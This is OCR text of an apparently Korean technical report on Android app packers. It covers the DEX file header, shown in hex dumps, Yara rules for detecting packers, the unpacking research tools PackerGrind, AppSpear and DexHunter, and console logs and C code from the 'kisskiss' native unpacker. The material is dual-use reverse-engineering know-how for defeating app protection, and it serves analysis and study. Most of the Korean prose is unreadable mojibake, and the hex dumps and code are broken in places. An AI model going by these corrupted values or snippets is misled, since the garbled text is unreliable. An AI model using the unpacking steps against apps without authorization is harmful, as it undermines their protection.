00000040 a. L..F

=4 £ - L] ™

23 Ato|=, -3 = M (link_size, link_off) - 4HIO|E

o 3 MO|Z= NMZ 4HI0|EZ AHZ MMO| A7|Z LIEtLLY, oo YHez HE
HX @2 8% 02 #=Ch

o 23 uM2 L0 4HIO|EZ HmAUQ| A[Z £
3 37|17t 02l BL0i 00|Ct.

oM A2 Md7tx|el =40 &

A

Offzec(h) 00 01 02 02 04 05 06 07 OB 0% 0A OB OC OD OE OF Decoded text
78 0& 30 33 35 50 AS €9 FB 7B 2E 76 C2 dex.035.P¥id{.vA
B3 76 88 3D AF 25 D1 BS 8B 24 E4 Al 59 06 Y¥?%v "= 3K,<54;Y.
5 21 00 70O 00 00 00 78 5o 34 1z [upviviuiuameis ..!.p...xV&.[::]
LI IsEuIsel) 40 17 21 00 OC 53 00 00 7O 00 00 [::]@.! S..p
&7 08 00 00 AQ 4C 01 00 46 0D 0O 3C 6E 01 Guww LooE <n
498 2C 00 00 84 0D 02 00 BDO 3IE 0O a4 T2 03 g s g e

M Q@ = Ml(Map_off) - 4HI0|E
it o 17O H - [m] > T

o W omMS T AT BEON W BB NKQ 2TA

o IM2 (00| OfL|0{OF Bt1, data MU= 2IMO[O{0F SHLY.
Cffset(h) 00 01 02 03 0% 05 06 07 08 09 OA OB OC OD UE OF Decoded text
00000000 64 65 78 OR 50 €9 FB 7B 2E dex.035.PFia{.vA
00000010 DD 3F B3 7€ 88 D1 8B 24 E4 A1 06 Y2 ve="%l,¢54;Y.
00000020 1C 18 21 00 78 S€ 34 12 00 00 00 00 ..!.p...XV4.....
00000030 00 00 00 00 oc 00 00 70 00 00 00 ... .[@0EY.S..p...
00000040 67 02 00 0O 46 0D D0 00 3C 6E 01 00 g... L..F...<n..
00000050 8 2C 00 00 BO 3E 00 00 44 72 03 00 ", ...,...°>..DE..
00000060 70 05 60 00 58 02 1B 00 C4 15 06 00 p...Ag..X...A.
00000070 22 08 16 00 57 08 16 00 96 08 16 00 "...5...W...-

[ 2 17§ 2=l |

String_ids_size, String_ids_off - 4HIO|E / 4H}O|E
® String_ids_size= =AIE AMEX 552| EXIE =+
® String_ids_off= LtYQ| A& REE20|AM 2XIE AMEXt SENK| Sl QA

Offset(h) 00 Ol 02 O3 04 05 06 O7 08 09 OA OB OC OD OE OF Decoded text
00000000 64 €5 78 OA 30 33 A5 69 7B 2E 76 C2 dex.035.P¥iG{.vA
00000010 DD 3F B3 76 88 3D BE 8B 4 1 53 06 Y? v = 2H.c53iY.
00000020 1C 18 21 00 70 OC 20 s 34 00 00 00 00 ..'.

00000030 00 00 00 00 40 17 21 00

00000040 67 0F 00 00 A0 4C Ol 00 46 OD 00 00 3C 6E 01 00 g...

00000050 98 2C 00 00 84 0D 02 00 BO 3E 00 00 44 72 03 00 ~,..

00000060 7O 05 00 00 C4 67 05 00 58 02 1B 00 C4 15 06 OC

00000070 22 08 16 00 24 08 16 00 57 08 16 96 02 16 ”

[ 23 18 String_ids AA |

12 -



O{7|A String_ids& Ch21t ZCf
e DEX o= 2t SZ0otct n/ot MME ZHX|0 QUCH
® String_ids A442 DEX ILtY O ARSI EE ZAIEE XSt B9
W String_ids_size : 0x0000530C
B String_ids_off : 0x00000007
Type_ids_size, Type_ids_off - 4HIO|E / 4H}O|E
® Type_ids M2 String_ids S90| MEE EAEL 42 NEdsts FFolTt
® type_ids_size= A AMEXI FF9| 24 I
© type idsoff TS A REOIN Hi X S27i%0] omy
e 2IANO| 00| Ot AR type_ids AMMO| A|ZF R27)HX[0fOF SHC,
W type_ids_size : 0x00000867
B type_ids_off : 0x00014CAOQ
Dffset (h) 00 0Ll 02 03 04 05 06 OT 0F 09 Ok OB OC 0D OE OF Decoded text
00000000 &4 &5 78 OR 30 33 35 00 50 L5 69 FBE 7B 2E 76 C2 dex.035.P¥ia{.vA
00000010 DD 3F B3 76 88 3D AF 25 D1 BS 8B 24 E4 Al 59 06 ¥?3v= 3H,<S5&;¥.
00000020 1C 18 21 00 70 OO0 00 0O 78 56 34 12 00 00 00 00 ..!.D...EV4.....
00000030 00 00 00 00 40 17 21 00 OC 53 00 00 70 oo R
00000020 EENEIRNEREXETTNEE] <€ oD 00 00 3C 6 01 00 fass LoJF...<n.
00000050 98 2C 00 00 B4 0D 02 00 BO 3E 00 44 92 03 00 " ..mees .. DL,
00000060 70 0S5 00 00 C¢ &7 05 00 58 02 1B C4 15 06 00 p...hg..X...H..
00000070 22 16 24 08 16 00 57 08 16 9% 16 oI,
[ 2= 19 Type_ids AA |
proto_ids_size, proto_ids_off - 4H}O|E / 4H}O|E
® proto_ids M2 dex It LHOIAM 9| LXE MYStD U= 0|t
® proto_ids_sizee ZZEEIY AMEHX 59| @4 T
o mdohsdﬁ=mmelMx BoM Z2EEIQ AlHEX} 2271X|o] EAl
e 2z MO0| 00| Otz B proto_ids MM A|Zf FZ27HX[0{OF BtC}.
B proto_ids_size : 0x00000D46
B proto_ids_off : 0x00016E3C
Offset(h) 00 01 02 03 04 05 06 0T 08 09 OR OB OC OD OE OF Decoded text
g4 €5 78 OL 30 33 35 50 L5 65 FS 7B 2E 76 2 dex.035.P¥ia({.vi
DD 3F B3 76 88 3D AF 25 D1 55 8B 24 E4 Al 59 06 Y2°v = &N, <$4;Y
1C 18 21 00 70 00 00 78 56 34 12 00 00 00 0O VipooiEV s
00 00 00 00 40 17 21 05 53 0600 70 00 0000 swoiBabeiSupen
67 02 00 0o a0 4C ol oo NOICEICEEEEGENEE o -- L. .F...-n.
88 2C 00 00 84 0D 02 00 BO 3E 00 00 44 72 03 00 ,......%..Dr..
70 0S5 0O 00 C4 €7 05 00 58 02 1B C4 15 06 g a RV (PRE cper
22 08 16 00 24 08 16 00 57 03 16 96 05 16 e i W
8% 02 16 00 AT 05 16 00 B5 02 16 00 BC 02 16 B B
DS 05 16 00 FO 0F 16 00 OE 0% 16 16 05 16 Heovor: Blanrm svsasarnrary
33 09 16 00 4F 09 16 00 5F 03 16 gL 03 16 BriBi o

[ 2

a5 20 proto_ids AA ]
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field_ids_size, field_ids_off - 4H}O|E / 4H}O|E
® field_ids MM 2 FefA9| 0|5, type, class , package 0|52 N&sts FHO|Ct,

® field_ ids sizee ZE AEX} ZE9] Q@4 Il
o field_ids_offe= LO| A|ZF BEOAM ZLE AEHX ZEHX|Q 24
e QIO 00| Ol A2 field_ids MMO| A|ZF 220 AO0{OF BHCE

B field_ids_size : 0x00002C98
B field_ids_off : 0x00020D84

Cffsec(n) 00 Ol 02 03 04 05 06 07 08 0% OA OB OC OD OF OF Decoded text
§4 &5 783 33 35 00 50 69 FE 7B 2E 76 C2z dex.035.P¥in{.vA
DD 3F B3 3D AF 25 D1 8B 24 E2 A1 59 06 ¥2iwi= 3l <5&;Y.
ic 18 21 90 00 00 T8 34 12 00 00 00 00 ..'.D...XV4.....
00 00 00 0o 21 00 oC 00 70 00 09 LT A TN,
67 02 00 00 iC 01 00 46 00 3C 6E 01 s AR, e,
BO 3E 00 00 44 72 03 - - Dr
70 05 00 00 C4 67 05 00 58 02 1B 00 C4 15 06 p...Ag..X...A.
22 08 16 00 24 08 16 00 57 08 16 96 08 16 00 "...§...W...-
=1 16 00 AT 02 16 00 BS 08 16 BC 02 16 B BT
D9 02 16 00 FO 02 16 00 OE 09 16 16 09 16 WowoBecususuauss

[ 2 21 field_dis AA ]

method_ids_size, method_ids_off - 4H[O|E / 4H}O|E
® method_ids M2 method®| 0|5, type, &% class 0|E2 XNt FHO|C}
® method ids sizee HIME AMEX S5F59| @4 7
® method_ids_off= IHYUQ| A|Z 220N HME AEX ZEHX|Ql &M
e I AMO| 00| Ot BF method_ids MM A|Zt 2320 RUA0{OF BHCF
B method_ids_size : 0xO0003EBO
B method_ids_off : 0x00037244

Offset (k) 00 Ol 02 03 04 05 06 07 OB 09 OA OB OC OD OE OF Decoded text
00000000 64 65 78 OA 30 33 35 00 50 AS 69 FE 7B 2E 76 C2 dex.035.P¥iaf{.vA
00000010 DD 3F B3 76 88 3 25 BE z 16 ¥rrIve= 3, <$a;Y.
00000020 1C 18 21 0C 5 0 L
00000030 00 00 00 0 @.1..5..p
00000040 &7 08 00 E g Lo Foadma
00000050 98 2C 00 [ 2 peeen R
00000060 70 05 00 58 02 1B C4 15 06 p...Ag..X...A...
00000070 22 08 16 57 16 56 16 =i G M
00000080 9% 0% 16 B5S 16 BC 08 16 R EEE

[ 2% 22 method_ids AA |

class_defs_size, class defs off - 4H}O|E / 4H|O|E
® class_defs MM 2 classOf| CHTF MA|& QI HEQ HO[E0| CHet 7| HEE XNESH=

ggolct,
® class_defs sizee= ZofA HO| EE9 24 7
® class_defs_off= LS| AlZ EEO0AM SefAa Ho| FENK[e 2=l

e IOl 00| Ol A2 class_defs M0l AlZH £&7HX|0{0OF St
B class_defs_size : 0x00000570
B class_defs_off : 0x000567C4

_14_



Offsec(h) 0D Ol 02 03 04 OS5 O6 OT D8 0OS OF Decoded textc
00000000 &4 65 78 OR IO 50 &S C2 dex.035.P¥ial{.vAd
00000010 DD 3F B3 76 88 3I 35 D1 B8 BE 06 Y2rwe= 3l.<5&;Y.
00000020 1C 18 21 00 70 00 OD OO0 78 56 34 0C

00000030 00 OO0 00 OO0 40 17 21 00 OC 53 O

00000040 &7 O 00 OO B0 4C 01 00 46 OD 00 0O

00000050 98 2C 00 OO 84 OD 02 00 BO 3E O

00000070 22 08 16 00 24 08 16 00 57 08 1

00000080 9% O 16 00 A7 08 16 00 BS 08 1

[ 23 23 class_defs MM ]

data_size, data off - 4H[O|E / 4H|0|E
® data_size= HIO|E ECHR[E LIEMH data MO 37|
® Oj7|M sizeof(unit)2| ®r4= Hi4=0jOf &t
® data off= I}YUQ| A|ZF HEO|A data MM AR &
B data_size : 0x001B0258
B data_off : 0x000615C4

Hr
>
|0
10)
I=
e

2.3 {7, AI|H
23.1 i
QIEZO0|E= HIO|E ZEE O[FO0M UM HA I FERIF ZIHE[O UG
stof FoFStot of2fet A <tof Ciet mSiE E0|7| fld H=2tE ALESHRAX[T
FE3l5l= HE 0| TOIRMLE Td2fM O|F Hete = = CfE WRO| HiZ

E bt o9
oN Tl oh

I3

Ol7|M mZol2t E= 52 MYPS E=o7| ?lof AMESe SHeZE F= A ot 2
o Al
o

232 YA oy 24

A Ot £ (Dex file modification)

e Ol Al = Mf YO|E|E ZEE ALESI0 ME2[2| Dex LItYS F="dotCt

° 20155 Baidu I{7{0] 2|sf mZE U2 MMETL 2=E|7| AT Fa3 HHO=E

MES B A% = Axch
o 23S o7 Yo B SIS WML MY 20| QAEMZ BIY 4 Y
ct
X 22{& EE(Dynamic class loding)
o Ii7= MEiot of0| HIOIE ZEE Z2[E B meo da ort =8 I 2
=3
o LQo SUAS ZESY| HO| HA nids Lot ads S Si=5t7| 2 oot
o HEIY 7|5S FHGIH ZEE T Dex WS HZY 5= AUCL



FX|8F 3

AN

o

L

oo
S

o0 A JNIJava Native

HO[E|2 ZEZS E[HYot=SE A X

F

72 HMER

Lo
o=
b7 &2

et GlA 7|
A A S

=

i#H= M
Interface)&

L|O|E| E B (Native Method)
o 1

K o oll o ol oK [ o [y o
~ ~N o = W_u_ ! o o =) o Y
. = <O T4 =T ~ = T
) = kO N = iof W S m m_m_
o3 = wjr ™o il o__=_ ujo ol 0 _A_ | =
© " o 1o o < o. >
<+ oF = = T o o a3z 7 <
i H/_I _”__.._ |_/.| r IT- == Ll
.__m._u_._o._ .*b = %I iTe) Hd | |Q Al_ - L_L |__L
it K 0 0 . n L il o -
== - - —_ —_ o Iy 10
= 0 N = ] o - o = o H = el
i 10 ) =< oo ok il = = by <
i i k1 o H 5% — TP g
— = [ I
20 A oT S <+ G+ & > O I !
K ul 8 ojn . KT o o N U <0 K
Bl o s 9 31 U Bl © = R
= ] [HI = K Al gy 20 wz_m x5 N
= ; s a4 & % m 2 ofn =] 3 o
= i T x o = 1 R W o ou
| — i S T o M _ N s> ol K| =
= = s TR o B o X i
< 2 5 g0 & F 0 . g o M -
= 5 ® W 2 <l ) O o > M ©O
1| = CIRR K X H T opg @ o o~ o
= o g 2 K{o F 3 o Ko o ~ 3l K1 i) X i K
=) S up o M oo S Ko oy oF - ﬂ = o
T noam 2K = W oM o & C ¥ © & 2P
;I H 5§ TR0 R SR W =3 L L
= t o i o o N = - 1
0l R T _—_ < yp n_ O T Wohw
0 N o] Q = ol o o = w2 T gy YN
- I E S KO = - o i L
- R Tz E0 ~ Xw r O R W 5 ﬂ
_ - == } c —_— - = = ot —A I —_ =
0 K = S S Ko D = o o o [T R T T
—_ m0 & c % X 0 of = — _._._._o = — = _|._ _u__
wo = vl 3 # 7 = © K CIECNE TR = oy
= =50 gD o o K o S oF B o .- 7 %0 & X0 3 .- O
D._ | O_ 0 O — T 10 Ok S gl o U o0 ] O_ _u__ H__=_
L Lo s X . O__O o —_ RO =0 <l T = N _A._L -_ [ — H_.._ .. =
A X TRy o LAk Bhx FwmlEpl _ _SUsomi 3
= mmm_&_ﬂnzoAm._l < < ol 55 © E) mmuoxomxoo_(wﬁ@memom
S = 30 oo — o= (E_ on 3 S K o m U = F ouo F uo w N — F L]
= of M0 ol 29 I = D 100 — ™ L I I TN
dpy<ghsTc T Sm g o o 20 = jof ~ w0 " i{ jol 0
<| .___._..:_uo_emw_me o = m0 £ 7 U ol A F w W owd K WDFH oo
M =g o 23 = ol o F 0 o T < KON mol ol @ oIS m ol ol
- = o
N 0F e ol e o ke o N °o o ° ° ° °o o

_16_
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e OtE| HII{Z . HZ22| =2 HHX|

e OfE| MZz| B . 22| HZE Sof A2|HAE EF X

e *QtE| ME2| miX| . MAIZF {22 IjX|2 Z203 22X S Z&S= A2 E=
e COE| TL|E, CtE| APl A7H : APl 2402 TZ 3ol 7|5 Ot HHX|

o A3 T2 OO EZ

e TC Uizt 8l AE HED: AE BMZ O{EHA oLt

2.4 Yara

2.4.1 Yara Rules

Yarae OH4BE MEO| EEE I{HES 0|80 SHIF WIS JFOR 4N TS
5ot AMEEH=E EF0|H, 252t FESR 2EMAOAAM 2FE AMBO| ZHSSICE
Yaral| A|OLIN EX|l= M E FXIE EMX[Qt HO|H2| EX|7F =i,
SR SR Value EFOISO) £3f U SXPSS SX|oHs WHO|D, Conditiong O

85t AREL0| FHRAX| AAQUX| AlHotot,

—

LAy

rule Alibaba : packer

{

strings:
21ib = "libmobisec.so"

condition:

[ 23 24 Yara w42 A ¥4 |

Hro|H 2| EfX|= me LHEO| Hex a2 EHX|SH=E 7|Hoz EXAY #8t otLfzt 167!
T 42 Ruled] MY = Qom, (O3 25]2F Z0] Wild Cards £ AtE3t0| HIO|EE
sHEHOZ CHN| 7t 7tsdl

rule is_apk : file_ type
{
strings:
$zip head = {5@ 4B ?? ??}

condition:
$zip head

[ 2 25 Yara dtolya] &x] W |
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2.5 PackerGrind

251 ME
® PackerGrinde I 7|&dt I{E 7|2 Eot =TFE O|F0| 7HLE DexHunter,
Androidunpacker, AppSpear 2| &%t 222 E&510 d&2 7iMet =+0|Ct
o T M X ZEMARZ FEED, HZE WS AT 0 HEIY, A|2H, HHNE =
et 3742l 20|01 Sl FA ENME HHSIAHL f2 YAE S50}
o OlmfZ(HA =)o AL DVM, ART 22t =t&0| X= RS Soff TIHECH
A. Overview /RuntimeTracking —
rDex FlleParsingJ]( Class LﬂadingJ Fad
fethod Resolution] (Method Execution] | | E
6% o JNI Invoking J[ JNI Loading J é
7 §Munitﬂl‘ihg,{ = : 'g System Tracking
Q:S‘ a@" ¢\g "é r Memory Management jl I
021' = ( Memory Copy/Move _) n
_.Ilt!.ﬁk_.. r File Operation ) Leis 5
A=l e ___L§} ; 2
Collection points 7, Instruction Tracking £
Recovery Analysis’f% Vi, K ﬁtorEGStatemen‘JrStcrE Staterneny )
X Bsemei
PackerGrind
[ 28 26 PackerGrind 27 | [ 2% 27 PackerGrind 1% |

A oiy moh
e GlA THA2 openDexFileNative)E &6 MEAOMAM 7HH 7Lt openDexFile(bytel]

2 I
array())& S HZ2|0M 7tHZ 5= UL
= HAME ZE dexFileParse()S &30 HA mMAS 12 2Mst0 2HELQ0| 0] H
A OHUS AOtLH7| 8 DexFile *+EE Btatstrt
DexFile dexFileParse()2| A I 0| M2t HEfX|EE dexFileParse()E R @
W e Goje =& @2 Fotrt,

22 29

® DVM2 defineClassNative()E ol 227l EEL|H, 0] &0A dvmDefineClass()

7t 2EEO FHAE RZESIE Sl ROl ZE, HAME §)7F EZE
ClassObject T+ & Ht2tokC}

QA TANM class_def item TZE A2 = class_def item2| 2IAM0f| w2} HA
OO M class_data_item 7= E49t 2 ClassObject?t =7|3}EICE,

et & BR @A Ho|E =% X|™2Z dvmDefineClass()E X ™3t}

Resolving Methods

® dexReadClassDataMethod()& = &30 EA HHAO|A DexMethodE 7HM 2Lt

® 13 Ct2 LoadMethodFromDex() M DexMethodOf| 2} Method tXE A4St
® Method Z£7|3} & dexCompareNameDexcriptorAndMethod()& 2 =5t0] finalize O

MEQIX| =QIot CtE dexGetCode()E 2 =50 Dex IMUONM ZE HEE 7tMLL

_‘|8_



MethodS *H&C}.
Qlztol &4 g9l MA St4:0| 7|5 libdvm.soO|A LHELHX| %282 dexGetCode()

Ci4l dexCompareNameDexcriptorAndMethod()& Ml H® Dex HIO|H =& X|H2=Z
g,

i=)
m
T o
1]
[N

'—1| + dvmlinvokeMethod(), dvmCallMethodA() % dvmCallMethodV()2} &
2 &8 ABSIY Java Z|EHM E= NI 2[EHNHZ Sl Java HMEE Z&EY
AL
T

dvminterpret()= fast-interpreter, portable-interpreter 25 AE357| E0]| Y HRY
HA H| X|Ho 2 MEMGH.

253 HA =3 (ART)

I:ilﬁ r'-l'OI E'.AI

=

BlA T2 openDexFileNative()E &l XEA0AM ZEH2HLE openDexFile(byte[]
array())E & HZe[oM 7tH2 5= ULCH

T HAME 2= dexFileParse()E 2250 B4 mMAS & M5t HEIYO O &
A IS AOtLH7| Il DexFile +XE ghatsiCt

DexFile2 dexFileParse()2| HA HItY 0| M2t H2tX|EZ2 dexFileParse()S &
W HA OOy =3 XE2=z Fotrt

eia 29

DVME defineClassNative()E S8 SeiA7F EEE|H, 0] &4=0|A dvmDefineClass()
7t 2EEY ZAE E2EStn Zfa FEO: EE HME )7t ZgHE
ClassObject T+X=E HretotC)

SlA TAO|M class_def item TFEE A2 2 class_def item?| A0 [f2p EiA
ItUO|M class_data_item F#Z2E 243t £ ClassObjectZt 7|2t

metAM & B 94 fole =8 X|HE2ZE dvmDefineClass()E AI'd3tCt.

Resolving Methods

dexReadClassDataMethod() & =810} A I}A0 A DexMethodE 74X 2L}

13 Ct2 LoadMethodFromDex() Ol Al DexMethodOf 2} Method XS AdstCt
Method Z7|3} & dexCompareNameDexcriptorAndMethod()& Z&=510] finalize O
MEPQIX| =QISt C}2 dexGetCode()2 TZ=3}0] Dex HIUOA IZE HEE 7HXQ}
MethodE *i2LCt.

olztol ot 8l HA o9 7|2 = libdvm.soOlA] LHELHX| 2282 dexGetCode()

O+l dexCompareNameDexcriptorAndMethod()& Al #H® Dex GOl % X|Ho=Z
gL,
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1]
N

£ dvminvokeMethod(), dvmCallMethodA() ¥ dvmcCallMethodV()2} &

d E
2 +E A8S0] Java 2[EHM K& NI 2EHUME Sl Java HMEE 2=
AL

® dvminterpret()= fast-interpreter, portable-interpreter 25 AE35t7| MZ0| 4 HRY
BA H| X|H2= MENSITE

2.6 AppSpear
26.1 ME
o OICRO|E AMAC X J|20| wHEY mEt HMIEE NF AE YB3 7

® AppSpear= HIO|E ZE 3= U DEX(Dalvik Executive File) X{ZZ @Aloz IfHA
CE zitxeoz 5% £ Ut

® AppSpear= DDS(Dalvik Data Struct)OA dsi=F HIO|E IE FHE FHTSEE

Dalvik VMOl X¥ #Zstn, 22 DEX THUS HE7| o IRE MEE T2 A

25 ds0 Y= ECL

2.6.2 AppSpear AI|Z
1. Android If7{ 9| Cjfot 24 HX| g
2. 220 DDSE =&t DEX mS MU-dstr| o =8& H 7HX =F&E &
Hoz +TE DDSO| CHoll MEE ZEMAE 9
11

24 WX AEE BHD HUDAE

Collection

- Execute
Packed
Apk

,,,,,,,,,,,,,,,,,,,,,,,,,,,

Other Files :
| (xmliresfib)  DexFile

Apk Rebuilding

Unpacked
Apk

[ 23 28 AppSpear A7) 314 |
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2.6.3 Dex Reassembling

o MZ=tEl HIO|EZE & ASZ Y

® Dalvik VMO 1% QIHIEHE 8oty 2 FF0o| =2 AHSHY AS &

El 2 ALO|
H= Hd

® 2= opcodel| 34 FES| W HZ0 e+ 25 AHS MY

*pStringlds

*pTypelds

*pProtolds

N
data

2.6.4 "_"'H;ol 0=l|I AHAO-I al AlSH
® apktooldt #2 Ats2t =0 28 dex LU0l CIAMAUE|=
Android Ij7{= X A dex LIYS =2l6t so IO FICH
o Ii7{= Ij7{ T2 IWO| EErEl FIt dex TIHUS FIhHCE
2 fE 2lan ool
HAL|T| AZSHH I Z2OW2 so
SHo R B|=F3IC

o
(%]
o
_l'T'_l
ne
S i
N
o
@D
X
£
1o

ﬂ_
—_

S
= ARTE DexClassloader®| =22 =& dexE ZESHD O

Packed App

Original
Dex File

e

Y

Original
.apk File

Resource
Files

Original
Dex File




26,5 ART 3 E mjZ

® Compiling Bytecode: .apk It AX| Al dex IIYE oat mtY= HmASIL|CH YR
{74 = A|AEIO|M dex20atE® AFR3}0] HIO|E ICE AHOmAUsID A Mo AX|

ICE A E MEAGL|C

Parsing Oat File: oat I}22 ARTO| Oatfile +ZHZ T2 2MEL|CH L8 D7 =
OatFilezopen()2 ZE EE|A X|FZ2 MEASILICE

Loading Classes: ClassLinker:LoadClass()= 22fA CIO|EE ZEst1 S22 HolH
E Class 7ZHMZ & 245t O AF8E LUt RE ZHe|A ZERE AZELUCH
Loading Methods: ART= ArtMethod #ZME ArESHH 2 Java HAMEE LtEHHL
Ct. €82 I§7{ = ClassLinker:LoadMethod()7t @ =& [ Zt M =9 REE AL
Ct.

Dex Q) Oat 5 OatFile
Flle Fl]e Struct
™ é
v v
Class (1) Class (2) Class (m)
A 2 @ L 4
ArtMethod (1) ArtMethod (1) ArtMethod (n)

[ 2™ 31 ARTY FE ZHo]A HQJE |

2.7 DexHunter

271 ME

® ART2t DVMOIA 2=E HO| Dex LtYPZ E75t= DexHunterE 7HYSHCE

® DexHunter= DVMZI} ARTE E$ES10] Android 7t THAIQ| E2fA RE ZEZMAE
S0}

® DexHunterE IZE WO XY W= 2UECE HD5L JAE Dex IS ST
g = ACE

o 77} AEE =315t RS HER(X| Y0 MFE WM =HT Dex LIS
FEots LH SHE FEE DO

2.7.2 A =22 (DVM)

dex £ jar S EES 2 pyMZ MY HEE 7|Fd= DexOrlargle 7+&2EF
A A SHCH

fileNameO|2t= StLto| HH = mo| f[X[F LtEtLH LD, FEl odex LtYES LtEtH=
DvmDex 7HXl&= Sl DexOrlar 7HA|t HA=ICE,

DvmDex 7iA|0fl= B2l dex TS| siF HE2| EFE FX| &2[5t= memMapO|2t
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= Bt U=, addr BH= AR F2E HYOILL length HH= 22 2
ZO0|E LtEtHHCE

st dex IMYS Fmohy| Qo MEHst B Dalvik dalvik AIAE DexFile
defineClassNatived] ZEE 7}5}10 fileName?2| ZrS X| ™S}

fleName2 Soll dex WS XM CHY odex LYl HZZ] FHE Z&H DvmDex
HHE S5 Lord = UCL

memMap@| HH addr2 A|Zf FAE LIEILHD length M ZO|E XA SiCL

smali/backsmalis AtE3I0 odex mUL} dex LIS =EFSICE

273 HlA =2 (ART)
G A Il m 4

4 UEE Bt

L
o
)
X
E_
©
;o
wt
o

DexFile X0l CtE& F7I5 2
ATt 2EE Of fX| gf2 =ISH7| fISH DefineClass &0 ZE F7}otC}

A 2gl

libart.soO| A| DexFile openDexFileNative2t= 7|& HAEE AME3I0] dex E&= jar I}

22 ALk
S oat LHYUO| YPS™ ARTE dex2oatZte =TE ZESIY dex & jar LS
oat LtY= ZHmABHCY,

Class.forName=2 2 =otH 7|& HAEQ! Class classForNameO| =& EICE

dvmFindClass
ByName

" Dalvik java lang:
ctass;dass}‘p_rbtame. /

7 indClass
FromLoader
Nolnit

‘ Reflection to
Class.loadClass

HAE A3l
® DefineClass &4=2| O§7|H=0|7| = 3t DexFile X7} ML LD A |E= DexFile 2

M7t gx=ots t22l E9S s + ULk

® DexFile:Begin() X DexFile:Size() HIMEE ZEstH & dex LtYS EZ&SH= HZ
o ol
A

2] golo AZ Faot L0 U2 4 U7 HRO| YL Dex THAS =RY 4

Ct.
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2.8 Native Unpacker

O=2 220(M S7HE AIjAH=Z Crz 70 CHoi X[ ISt
Bangcle (SecNeo)

APKProtect

LIAPP (prerelease demo)

Qihoo Android Packers

Jaigu

28.1 2X 2M

olmjriol Myel sEe ttam Zo| AWt
1. mEN A AHE KRalo] B2 St

2 T7 AIIUNE Aot ALgS Ti7Hel SRS BHs
392, 2HA OfE YHES Aol HA B2 oHAZ FEw

Setting
Che FEOIE M83t0 245 TdY 7(7]0 2Eet Z2d™s FUC.

ot 7|17|01M sy ¥2 MIStD QIXtE HHFLCE
Sl & = UAXO| /data/local/tmp/edu.killerud.diceroll.dumped_dex_0
0 of

Ct= A2 € = AR
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beyondlq:/data/local/tmp/test # kisskiss edu.killerud.diceroll
WARNING: Llinker: /system/xbin/kisskiss: unsupported flags DT_FLAGS_1=0x8000001
[*¥] Android Dalvik Unpacker/Unprotector - <strazz(@gmail.com>
[+] Hunting for edu.killerud.diceroll
[+] 7602 is service pid
[+] 7627 is clone pid
[+] Attempting to detect packer/protector...
[¥] Nothing special found, hunting for all dex and odex magic bytes...
[#¥] No packer found on clone_pid 7627, falling back to service pid 7602
[+] Attempting to detect packer/protector...
[¥] Nothing special found, hunting for all dex and odex magic bytes...
[+] Found 1 potentially interesting memory locations...
[+] Attempting to search inside memory region ©xb5758000 to 0xb591a000
[+] Memory region 0xb5758000 to 0xb591a000 contained anticipated class path edu/killerud/diceroll
[+] Unpacked/protected file dumped to : /data/local/tmp/edu.killerud.diceroll.dumped odex 0
1|beyondlq: /data/local/tmp/test # 1s
beyondlq:/data/local/tmp/test #

[ 2% 34 Native Unpacker A3 ZA1} |

—

ORX|T2 2 adb pull BN E ALESHO] QlmiZet ntdES FESC)

C:\Users\leemon\Desktop\project\packer\18_diceroll_qihoo=adb pull /data/local/t du.killerud.diceroll.dumped_odex_0

/data/local/tmp/edu.killerud.diceroll.dumped odex 8: 1 file pulled, @ skipped. MB/s (1843200 bytes in 0.052s)

[ 23 35 dufd od 33 ]

283 28 2M
£2 A8 CH31F 242 A=

mjo
ot

Folgt 4 QL.
Install Error
® Failure [INSTALL_FAILED_UPDATE_INCOMPATIBLE: Package edu.killerud.kitchentimer
signatures do not match the previously installed version; ignoring!]
= SYot WS A A DS o
® Failure [INSTALL_FAILED_VERSION_DOWNGRADE]
= X 2X5tH= ¥ 20t 0|0 &2 BT ¥o|

No such file or directory
=8 ZUE Sof AR sy Z2 MLt AYEQ pidE ROLRX| R T=RE=

o
As & = UM

WARNING: linker: /data/local/tmp/kisskiss: unsupported flags DT FLAGS 1-0x806000881
[*] Android Dalvik Unpacker/Unprotector - <strazz@gmail.com>

[+] Hunting for nl.ttys®.simplec25k

[+] -1 is service pid

[1] Unable to check status of pid : No such file or directory

[+] -1 is clone pid

[1] Unable to check status of pid : No such file or directory

[!] An error occurred attaching and finding the memory : No such process

[ 23 36 oz &3 Zxt |

Something unexpected happened, new version of packer/protectors? Or it wasn't
packed/protected!
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WARNING: linker: /data/local/tmp/kisskiss: unsupported flags DT_FLAGS_1-8x8000001

ndroid Dalvik Unpacker/Unprotector - <strazz@gmail.com>
[¥] Android Dalvik U ker/Us tect t @ 1

[+] Hunting for com.passcard
[+] 16235 is service pid
[+] 16246 is clone pid
[+] Attempting to detect packer/protector...
[*]1 Nothing special found, hunting for all dex and odex magic bytes...
[#]1 Mo packer found on clone pid 16246, falling back to service pid 16
+] Attempting to detect packer/protector. ..
P 4 P P
[*] Mothing special found, hunting for all dex and odex magic bytes...
[!] Something unexpected happened, new version of packer/protectors? Or it wasn't packed/protected!

[ 2™ 37 o2 &3 2} |

N OIS HR22|0|N dex?t odexES EfMSIAX|TH LS| 2o TRE

er *found_packer = determine_packer(clone pid, mem file);
(found_packer ! )
printf(" *1 N ack one_pid %d, falling back to pid 7 , clone_pid, pid);
mem_file = attach_get memory(pid);
mem file == -1 dex/odex
perror(" [!] An error occurred attaching and finding the memory "); EFAH
1 =i

found_packer = determine_packer(pid, mem file);

(found_packer != NULL & strcmp(found packer->name, ™
printf(" [+] Since filter ' Test, sw 1ing ce_pid, %d\n", tracer
clone pid = tracer;
mem_file = attach_get memory(clone_pid);
mem_file == -1
perror(" [!] An error occurred attaching and finding the memory ");
; 1;

*filter = LI
(found_packer !=
filter = found packer->filter;

memory_reg memory[128] = { @, © };
found d_magic_memory(clone_pid, mem_file, memory, filter);
(found <= 0) {
printf(" [!] Something ected hapy , new versi ~/protectors? Or it wasn't pac protected!\n");

52 1%

[ 23 38 o8] X2] ZE |

An error occurred attaching and finding the memory : Operation not permitted

WARNING: linker: /data/local/tmp/kisskiss: unsupported flags DT FLAGS 1-0x8006001
[*] Android Dalvik Unpacker/Unprotector - <strazz@gmail.com>
[+] Hunting for com.hlidskialf.android.pomodoro
[+] 587 is service pid
[+] 821 is clone pid
[+] Attempting to detect packer/protector...
[¥] Nothing special found, hunting for all dex and odex magic bytes...
[¥#] No packer found on clone_pid 621, falling back to service pid 587

[!] An error occurred attaching and finding the memory : Operation not permitted

[ 23 39 o8 &3 2y} |

DEOM ZHQISHEH i apkd| AFEE THHE XA ot £ Z2M2 HEZ2|0 It
L

ofe Z2|of M2k Zof =& A olgh & ALY,



~ *found_packer = determine_packer(clone pid, mem_file);
und_packer == NUI {

